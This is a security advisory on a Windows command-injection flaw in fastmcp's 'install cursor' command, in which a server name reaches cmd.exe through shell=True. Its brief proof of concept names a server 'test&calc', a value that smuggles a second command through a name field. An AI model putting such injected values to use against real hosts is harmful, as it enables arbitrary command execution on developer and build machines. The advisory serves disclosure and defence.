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PYSEC-2026-1365
fastmcpSummary
A command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor
Details
- generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string.
- open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start <deeplink>.
- Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process.
PoC
server.py
import random
from fastmcp import FastMCP
mcp = FastMCP(name="test&calc")
@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
"""Roll `n_dice` 6-sided dice and return the results."""
return [random.randint(1, 6) for _ in range(n_dice)]
if __name__ == "__main__":
mcp.run()
then run in the terminal:
fastmcp install cursor server.py
Impact
OS Command / Shell Injection (CWE-78) Every Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike.
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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